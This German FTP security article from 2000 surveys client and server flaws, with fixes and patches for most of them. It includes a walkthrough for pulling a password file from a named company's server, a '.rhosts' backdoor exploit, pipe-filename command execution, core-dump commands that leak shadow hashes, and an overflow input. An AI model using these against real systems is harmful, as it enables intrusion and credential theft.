FTP (File Transfer Protocol) Geschrieben von Marc Ruef für http://www.computec.ch/ Version 2.0c 19. April 2000 ------------------------------------------------------------------ 1.0 Inhaltsverzeichnis 1.0 Inhaltsverzeichnis 2.0 Einführung 3.0 Angriffsmöglichkeiten 3.1 Anonyme Logins 3.2 Sicherheitslücken von FTP-Clients 3.2.1 Ausführen von Programmcode mit Programm-Rechten von cftp 3.2.2 Ausführen von Kommandos dank FTP-Client 3.2.3 DoS-Attacke mittels ncftp 3.2.4 Erweiterte Rechte dank Core-Dumps und chroot 3.2.5 Passwörter im Klartext bei gftp 3.2.6 Root-Privilegien durch "ftp -n" 3.2.7 Root-Shell dank ftpwatch 3.2.8 Sicherheitslücke in tftp 3.3 Sicherheitslücken von FTP-Servern 3.3.1 Beliebige Datei lesen dank Core-Dump 3.3.2 Beliebige Datei lesen dank Linking und Core-Dump 3.3.3 Stack-Buffer-Overflow dank Port-Parsing-Funktion in ncftpd 2.0 Einführung 3.0 Angriffsmöglichkeiten 3.1 Anonyme Logins Viele FTP-Server erlauben standartmässig anonyme Logins, was in Ausnahmefällen von unauthorisierten Nutzern ausgenutzt werden kann, denn auf diese Weise ist der erste Schritt in das System möglich. Folgend nun eine Anleitung, wie man sich eine mögliche Passwortdatei holen kann, sofern der Ziel-Host anonyme FTP-Logins erlaubt und eine Fehlkonfiguration zum Tragen kommt. Nach der Installation eines Modems oder Netzwerkkarte unter Windows 9X wird automatisch die Software für den Client-Seitigen Betrieb von FTP (File Transfer Protocol) mitinstalliert. Jene lässt sich ganz einfach mit der Eingabe von "ftp" im Menü Start/Ausführen/ starten. Danach erscheint ein kleines, schwarzes Fenster, welches stark der Eingabeaufforderung unter Windows ähnelt, nur dass statt dem Standart-Prompt von C:\> sich der FTP- Prompt mit FTP> meldet. Falls schnell vom FTP- in den DOS-Modus gewechselt werden muss, kann dies mit der Eingabe von ! geschehen. Der FTP-Prompt ändert sich in den DOS-Prompt. Man kann ganz normal unter DOS (Disk Operating System) arbeiten. Um wieder in den FTP- Modus zu gelangen, muss man EXIT eintippen, und danach ENTER drücken. Nun sollten wir uns mal langsam irgendwo connecten. Damit wir dies tun können, muss mindestens eine Netzwerk- oder Internet- Verbindung bestehen. Falls man sich innerhalb eines LANs befindet, welches von einer Firewall oder Proxy geschützt ist, kann es jedoch zu komplikationen kommen. Dazu jedoch später mehr. Der Einfachheits halber habe ich als Demo-FTP-Server den Server des Schweizer Konzerns namens ABB (Asea Brown Boveri) genommen, welcher weltweit für das Entwickeln und Herstellen von Turbinen zuständig ist. Um nun eine Verbindung zu einem FTP-Server herzustellen, muss entweder dessen URL oder die IP-Adresse bekannt sein. Die URL des ABB-FTP-Servers lautet ftp.abb.ch. Er ist natürlich auch unter der IP-Adresse erreichbar, welche 138.223.70.10 lautet. Nun muss man im FTP-Modus unserer FTP- Software open ftp.abb.ch eingeben. Alternativ kann man auch mit der IP-Nummer arbeiten. Dann würde die Eingabe open 138.223.70.10 lauten. Danach erscheint ein Login-Bildschirm, der sehr stark an ein Unix-ähnliches System errinnernt. In den meisten Fällen wird auch ein Unix-ähnliches System für den Einsatz als FTP-Server eingesetzt. Auf der ersten Linie der Login-Prozedur erscheint noch einmal die Adresse, wo wir uns eingeloggt haben. Auf der nächsten Zeile folgt die Version des Betriebssystems des FTP-Servers. Das Betriebssystem - in diesem Falle SunOS 5.6 - meldet sich bereit, und fragt uns nach einem User-Namen. Der wohl beliebteste Trick für das Eindringen in FTP-Server ist das Anwenden von Default- Logins. Dazu zählen die Accounts "anonymous", "guest" und "visitor", welche standartgemäss auf einigen Systemen kein Passwort verlangen. Da uns kein User-Name bekannt ist, versuchen wir uns anonym anzumelden. Dabei erhalten wir nur Leserechte auf bestimmte Regionen des Servers. Nach der eingabe von anonymous für anonym, folgt eine Zeile, wo wir darauf aufmerksam gemacht werden, dass wir bei der Passworteingabe ohne weiteres unseren User-Namen verwenden können, oder Du sollst Deine Mail-Adresse eingeben, welche nicht einmal unbedingt stimmen muss. Eine Zeile weiter werden wir auch schon nach unserem Paswort gefragt. Wir geben nocheinmal unseren User-Namen ein: anonymous oder ftp. Es kann auch einfach eine wirrkürliche Zeichenfolge eingegeben werden, jedoch fällt man mit der schlichten Passwort-Eingabe des User- Namens weniger auf. Nun sollte eine kurze Meldung erscheinen, welche uns darauf aufmerksam macht, dass wir uns erfolgreich eingeloggt haben. Und am unteren Rand des Fensters folgt wieder der nackte FTP-Prompt. Nun nimmt es uns wunder, wo wir überhaupt gelandet sind. Mit der Eingabe von pwd erfragen wir unsere aktuelle Position im System. Wir werden darauf aufmerksam gemacht, dass wir uns im Root-Verzeichnis befinden. Welche Verzeichnisse existieren nun aber noch? Mit der Eingabe von dir für Directory zaubern wir die aktuelle Übersicht aller Verzeichnisse und Dateien im Root-Verzeichnis an. Unsere Aufgabe ist es nun das Password- File zu finden, wo alle User-Namen mit dazugehörigem Passwort gespeichert sind. Mit cd (change directory) sind wir in der Lage das Verzeichnis zu wechseln. Wir geben nun cd etc ein, womit wir einen Augenblick später im etc-Verzeichnis landen sollten. Wie jedesmal wenn wir in einem neuen Verzeichnis angelang sind, erfragen wir den Inhalt des momentanen Verzeichnisses. Das Kommando CHMOD kann auch über FTP ausgeführt werden. Um das Kommando "chmod" auszuführen, gebe "literal site chmod 755 script.cgi" ein. Nun erkennen wir sofort das Vorhandensein einer Datei namens passwd, zu welcher wir nur Leserechte haben. Wir kopieren nun diese Datei auf die lokale Festplatte. Dies geschieht mittels des Befehls get. Wir geben nun get passwd ein, und die Datei passwd wird auf den Windows-Desktop kopiert. Um ein Verzeichnis wieder zu verlassen, müssen wir wieder den change directoy Befehl nutzen. Mit cd .. verlassen wir das aktuelle Verzeichnis und wechseln in das übergeordnete. In unserem Falle wäre dies wieder das Wurzel-Verzeichnis. Nun kann die Verbindung geschlossen werden. Dies übernimmt der Befehl "close". Die Verbingung zum FTP-Server der ABB (Asea Brown Boveri) ist nun beendet. Um unsere FTP-Software zu schliessen, können wir ganz einfach "bye" eintippen, woraufhin sich die Software verabschiedet, und sich schliesst. 3.2 Sicherheitslücken von FTP-Clients 3.2.1 2 Das Programm ncftp läuft als Version zwischen 2.0.0 und 2.4.2 auf jedem Linux-Rechner. Die letzte Version erlaubt das automatisch rekursive Herunterladen eines ganzen Verzeichnisses mittels der "- R"-Option. Falls nun ncftp ein neues Verzeichnis erstellen muss, wird system() benutzt. Dadurch ist das Ausführen von eigenem Programmcode mit den Rechten des Programms möglich. Hier ist ein ncftp 2.4.2 Remote-Exploit. Doch nun zuerst muss ein "böses" Verzeichnis irgendwo auf dem Host erstellt werden, welches sich möglichst tief unter dem Wurzelverzeichnis befinden sollte: [ftp@junk deeply]$ mkdir "\`echo -e \"echo + + >~\57.rhosts\">x;. x;rm -f x\`" Nach dem Erstellen eines solchen Verzeichnisses, ist ein Download mit "get -R Verzeichnis" möglich, welches alsdann "echo + +>~/.rhosts" ausführt. Als Lösung kann das Ersetzen der system()-Aufrufe im Quellcode in Util.h durch mkdir() angesehen werden, oder ein Update auf die Version 2.4.3, welche am 19. März 1998 herausgegeben wurde. Folgende URLs ftp.ncftp.com/pub/ncftp und http://www.ncftp.com/download/ führen zu jener Version. 3.2.2 Ausführen von Kommandos dank FTP-Client Das Kommando "ftp" unter AIX (3.2, 4.1 und 4.2), HPUX (9.05, 9.07, 10.10, 10.20), Linux Slackware, Solaris (2.5.1 und 2.6) und NTAS 4.0 kann benutzt werden, um Kommandos auf dem Host auszuführen. Um dies zu verwirklichen, muss der Name des Remote-Files mit einer Pipe beginnen. Gilt dies bei einem Transfer als Realität, führt der Server den Inhalt der Datei als Shell-Script aus. Diese Sicherheitslücke kann auch bei netkit-ftp-0.10 ausgenutzt werden. Hier nun eine Beispiel-Sitzung: $ id uid=100(guest) gid=100(usr) $ pwd /tmp/ftp-test $ echo "id > /tmp/OUT" > "|sh" $ ls -la total 24 drwxr-xr-x 2 guest usr 512 Apr 4 10:00 . drwxrwxrwx 6 bin bin 1024 Apr 4 10:00 .. -rw-r--r-- 1 guest usr 14 Apr 4 10:01 |sh $ ftp localhost Connected to localhost. 230 User guest logged in. ftp> cd /tmp/ftp-test ftp> ls -l total 24 -rw-r--r-- 1 guest usr 14 Apr 4 10:01 |sh ftp> mget * mget |sh? y 150 Opening data connection for |sh (14 bytes). 15 bytes received in 0.2187 seconds (0.06699 Kbytes/s) local; |sh remote: |sh ftp> quit $ ls -l /tmp/OUT -rw-r--r-- 1 guest usr 28 Now 3 09:45 /tmp/OUT $ cat /tmp/OUT uid=100(guest) gid=100(usr) $ Mögliche Lösungen ist das Entfernen des setuid Bits des FTP- Kommandos, was jenes jedoch zugleich unnutzbar macht. Für AIX 3.2 existieren leider keine Patches - Daher empfielt sich in jenem Falle einfach ein Update auf eine neuere Version. Für AIX 4.1 und 4.2 existieren Patches, die diese Sicherheitslücke beheben. In der Version 4.3 von AIX ist dieser Bug behoben worden. 3.2.3 DoS-Attacke mittels ncftp Linux, welches auf die Version 2.4.3 von ncftp zurückgreift, ist hingegen auf folgendes nicht vorbereitet: Falls nun mit einem Host eine FTP-Verbindung aufgenommen wird, erscheint folgende Meldung auf dem Bildschirm des Clients: #!/bin/bash # ncftp2.4.3 crash by infected@cia.at # Start this using inetd. (port 21) echo "331 hi, barbie.. wanna crash with me?" echo "230 sure ken!" echo "then hop in" Jedes Reply des Servers sieht dann wie folgend aus: 331 a 230 b c[Exploit-Code] Dadurch ist das Crashen von ncftp möglich, weil es eine fiktive Kopie versucht anzufertigen. Die Version 3, auch schon in der Beta-Phase, geht um einige Ecken unbefangener mit diesem Probem um. Aus diesem Grunde ist ein Update in jedem Falle zu empfehlen. Traurigerweise verzichtet die neue Version auf einige sehr nützliche Features, und dadurch kann in Einzelfällen von einem Umstieg abgesehen werden müssen. Folgen nun ein simpler Bugfix, der auch die alte Version immun gegen solche Attacken macht: --- Cmds.c.old Fri Mar 20 04:02:07 1998 +++ Cmds.c Tue Jun 23 19:15:53 1998 @@ -241,7 +241,7 @@ * if we can parse out the new directory without * doing a PWD command. */ - if (cwdrp != NULL) { + if (cwdrp != NULL && cwdrp->msg.first != NULL) { /* "xxxx" is new cwd. * Strip out just the xxxx to copy into the remote cwd. */ 3.2.4 Erweiterte Rechte dank Core-Dumps und chroot Der FTP-Server-Daemon wu.ftp < x.xx enthielt eine statische Passwort-Struktur, welche überschreibbar war. In einigen älteren Versionen wurde die Userid nicht wirklich geresettet. Anderweitig wurden bei älteren Dämonen in Core-Dateien geheime und wichtige Passwort-Informationen gespeichert. Bei tftp war mittels chroot das Auslesen und Einspeisen von allen Dateien möglich. 3.2.5 Passwörter im Klartext bei gftp In gFTP 1.13, einem FTP-Clienten welcher bei Red Hat 6.0 mitgeliefert wird, speichert die Passwörter als ASCII-Klartext im Log-Fenster, welches den Inhalt des Log-Files zeigt. Die Gefahr besteht nun darin, dass wenn man das Verzeichnis, in welchem dieses Log-File gespeichert wird, jedem zugänglich macht, alle das Passwort des eigenen Accounts einsehen können. Dieser FTP-Client ist einer der Standart-Clients von Red Hat 6.0. Dieser Fehler wurde in Version 2.0.0 behoben. Im Internet ist die neue Version dieses Programms unter http://gft.seol.org/ erhältlich, welches vom damaligen Autoren realisiert wurde. 3.2.6 Root-Privilegien durch "ftp -n" In BSD 4.3, einigen älteren SunOS und Ultrix war es möglich mittels der Eingabe von ftp -n root-Privilegien zu erhalten. 3.2.7 Root-Shell dank ftpwatch ftpwatch, welches bei Debian 1.3 und den darauf folgenden Versionen mitgeliefert wird, weist eine Sicherheitslücke auf, welche das Erlangen einer Root-Shell ermöglichen. Die Lösung dieses Problems gestaltet sich als das Entfernen dieses Paketes, oder ein Umstieg bzw. Update auf eine neuere Version. 3.2.8 Sicherheitslücke in tftp Folgend eine Sicherheitslücke in tftp, welche in Linux NetKit 0.09 und FreeBSD 2.2-ALPHA zum Tragen kommt. Dieser nun abgebildete Quelltext bzw. die darin enthaltene validate_access() erscheint spätestens auf den zweiten Blick etwas sonderbar: syslog(LOG_ERR, "tftpd: trying to get file: %s\n", filename); if (*filename != '/') { syslog(LOG_ERR, "tftpd: serving file from %s\n", dirs[0]); chdir(dirs[0]); } else { for (dirp = dirs; *dirp; dirp++) if (strncmp(filename, *dirp, strlen(*dirp)) == 0) break; if (*dirp==0 && dirp!=dirs) return (EACCESS); } /* * prevent tricksters from getting around the directory restrictions */ for (cp = filename + 1; *cp; cp++) if(*cp == '.' && strncmp(cp-1, "/../", 4) == 0) return(EACCESS); Dieser Funktion macht stets nur ein Check von "/../" wodurch nur das zweite Zeichen im Dateinamen an Bedeutung gewinnt. 3.3 Sicherheitslücken von FTP-Servern2 3.3.1 Beliebige Datei lesen dank Core-Dump In ftpd der Solaris Versionen 2.4, 2.5 und 2.5.1 war es nach dem Einloggen mit einem regulären User-Account möglich die Shadow- Datei durch die Eingaben der folgenden Kommandos in einen Core- Dump in /tmp schreiben zu lassen. In der Version 5.4 sind die Core-Files rw-rw-rw und folgen System-Links als Root. ftp> cd /tmp ftp> user root wrongpasswd ftp> quote pasv 3.3.2 Beliebige Datei lesen dank Linking und Core-Dump Auf einer Sparc 20 2.5 mit einem dynamischen FTP-Daemon Version 2.2 wurde am 14. November 1997 nachgewiesen, dass ein weiterer Core-Dump-Bug existent ist. Es ist möglich Dateien zu linken und später aus dem Core Dump auszulesen: 220 E-Commerce Security Dynamics' FTP server (Version 2.2) ready. Name (.:visitor): visitor 331 Password required for visitor. Password: 230 User visitor logged in. ftp> cd /tmp 250 CWD command successful. ftp> user root DUMP_CORE_FTPD 331 Password required for root. 530 Login incorrect. Login failed. ftp> quote pasv 421 Service not available, remote server has closed connection ftp> quit $ ls -la core -rw-r----- 1 root network 264656 Nov 14 12:00 core Zum Glück schreibt es nicht 666, wie in Solaris' in.ftpd. Falls nun keine Leserechte für die Gruppe existieren, muss der Core einfach zum Beispiel nach ps_data linken: lrwxrwxrwx 1 visitor network 7 Nov 12 11:07 core -> ps_data -rw-rw-r-- 1 root sys 264656 Nov 12 11:07 ps_data $file ps_data ps_data: ELF 32-bit MSB core file SPARC Version 1, from '_sdi_ftpd' $strings core | more noaccess:*LK*:6445:::::: sp00n:o.IZGdC5eBTtKY:10175:7:28:::: root:aiqzotPNtTsI:9988:::::: user2:U6d5srjcJi/KU:9952:::::: visitor:ktxVoVPQVIgc.:10175:7:28:::: root::0:root other::1: bin::2:root,daemon sys::3:root,bin,adm adm::4:root,daemon uucp::5:root 3.3.3 Stack-Buffer-Overflow dank Port-Parsing-Funktion in ncftpd Es folgt nun eine Erklärung für eine Sicherheitslücke im der Server-Version von ncftp, welche auf den Namen ncftpd hört. Der Source-Code ist leider nicht öffentlich einsehbar. Die Port- Parsing-Funktion von ncftpd weist ein Stack-Buffer-Overflow- Problem auf, welches jedem remote eingeloggten User das Ausführen von Programmcode erlaubt. Das Programm parst bestimmte Zeichen etwas sonderbar. Dieser Fehler ist nicht wirklich das Problem, sondern es lässt sich dadurch Child-Prozesse herunterreissen, wodurch dem Eltern- Prozess ein Signal 6 geschickt wird (Abbrechen), und der Child- Prozess verwandelt sich in einen Zombie für einige Sekunden and ein neuer wird generiert. Beispiel: evil:$ nc victim ftp 220 victim NcFTPd Server (unregistered copy) ready. user anonymous 331 Guest login ok, send your complete e-mail address as password. pass aggressor@domain.org 230-You are user #1 of 50 simultaneous users allowed. 230- 230 Logged in anonymously. port 00000000000000000000000000000000000000000000 (...) 501 Syntax error in parameters. evil:$ So, falls nun der Angreifer 64 oder mehr Zeichen mit zwischen 0 und 9 für die Angaben des Port-Kommandos nutzt, wird der Fehler ausgenutzt. Es wird dem Angreifer jedoch kein Zugriff mit Root- Privilegien ermöglicht. static int ftp_aton(const char *cp, struct sockaddr_in *sinaddr) { char buf[64]; char *dst; char *dstlim; int i, c; unsigned int octets[6], u; memset(sinaddr, 0, sizeof(struct sockaddr_in)); dst = buf; - dstlim = dst + sizeof(buf); + dstlim = dst + sizeof(buf) - 1; for ( ; ; ) { c = (int) *cp++; if (c == '\0') break; if (! isdigit(c)) c = ' '; if (dst < dstlim) *dst++ = c; } *dst = '\0';SOLUTION In der Version 2.4.1 ist dieser Fehler behoben worden. ------------------------------------------------------------------ Siehe auch Daemon, Denial of Service, HTTP, ICMP, RFC 959, RFC 1067, S-HTTP, Shadowing, Unix-Passwörter. ------------------------------------------------------------------ Dieser Text ist unverfälscht frei kopierbar! Marc Ruef http://www.computec.ch/